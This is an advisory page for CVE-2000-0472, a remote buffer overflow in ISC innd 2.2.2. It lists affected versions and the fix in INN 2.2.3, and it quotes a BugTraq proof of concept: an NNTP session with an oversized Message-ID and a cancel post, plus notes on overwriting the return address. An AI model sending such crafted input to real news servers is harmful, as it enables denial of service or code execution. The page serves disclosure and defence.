ISC innd 2.x Remote Buffer Overflow Vulnerability

BID:1316

Info

ISC innd 2.x Remote Buffer Overflow Vulnerability

Bugtraq ID: 1316
Class: Boundary Condition Error
CVE: CVE-2000-0472
Remote: Yes
Local: Yes
Published: Jun 06 2000 12:00AM
Updated: Mar 19 2015 08:15AM
Credit: Posted to BugTraq on June 6, 2000 by Michal Zalewski <[email protected]>
Vulnerable: ISC INN 2.2.2
ISC INN 2.2.1
- S.u.S.E. Linux 6.3
- S.u.S.E. Linux 6.2
- S.u.S.E. Linux 6.1 alpha
- S.u.S.E. Linux 6.1
- S.u.S.E. Linux 6.0
- S.u.S.E. Linux 5.3
ISC INN 2.2
ISC INN 2.1
ISC INN 2.0
Not Vulnerable: ISC INN 1.7.2
ISC INN 1.7
ISC INN 1.5.1
ISC INN 1.5
ISC INN 1.4 unoff4
ISC INN 1.4 unoff3
ISC INN 1.4 sec2
ISC INN 1.4 sec

Discussion

ISC innd 2.x Remote Buffer Overflow Vulnerability

innd 2.2.2 contains a remotely exploitable buffer overflow in code reached when a cancel request is sent to the "control" newsgroup, under the following condition: the cancel request contains a valid Message-ID but the From/Sender fields differ between the cancel request and the post referenced by the Message-ID. This attack only works against machines running INN with "verifycancels = true"

Exploit / POC

ISC innd 2.x Remote Buffer Overflow Vulnerability

The following exploit description was posted to BugTraq on June 6, 2000 by Michal Zalewski &lt;[email protected]&gt;:

How to exploit it? It could be a problem for script kiddies, as Message-ID is strictly checked for non-printable characters etc. But hey, Message-ID can be used only as a padding, and then we can overwrite return address with From/Sender address of cancel post! This field is not verified in any fascist way. Shellcode? Can be placed anywhere, quite big portions of cancel post are lying in the accessible memory when overflow happens.

Sample input ("LONGBUFFER" = around 500-600 bytes of AAAs..., has to be the same every time):

-- input -
201 XXX InterNetNews NNRP server INN 2.2 23-Oct-1998 ready (posting ok)
mode reader
group pl.test
post
Message-ID: &lt;none@LONGBUFFER&gt;
From: &lt;[email protected]&gt;
Sender: &lt;[email protected]&gt;
Newsgroups: pl.test

testing
. &lt;- single dot, comment to avoid mail transfer problems
group control
post
Message-ID: &lt;[email protected]&gt;
Approved: &lt;[email protected]&gt;From: &lt;[email protected]&gt;
Sender: &lt;[email protected]&gt;
Control: cancel &lt;none@LONGBUFFER&gt;
Subject: cmsg cancel &lt;none@LONGBUFFER&gt;
Newsgroups: control

Damn, cancel it.
. &lt;- single dot
quit
-- EOF --

If innd/nnrp is running under debugger like strace, you'll see that child process responsible for request handling dies with SIGSEGV. Nice.

Solution / Fix

ISC innd 2.x Remote Buffer Overflow Vulnerability

Solution:
ISC has released the newest version of INN - 2.2.3 - which fixes this issue.


ISC INN 2.2.2

References

ISC innd 2.x Remote Buffer Overflow Vulnerability

References:
© CVE.report 2026 |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report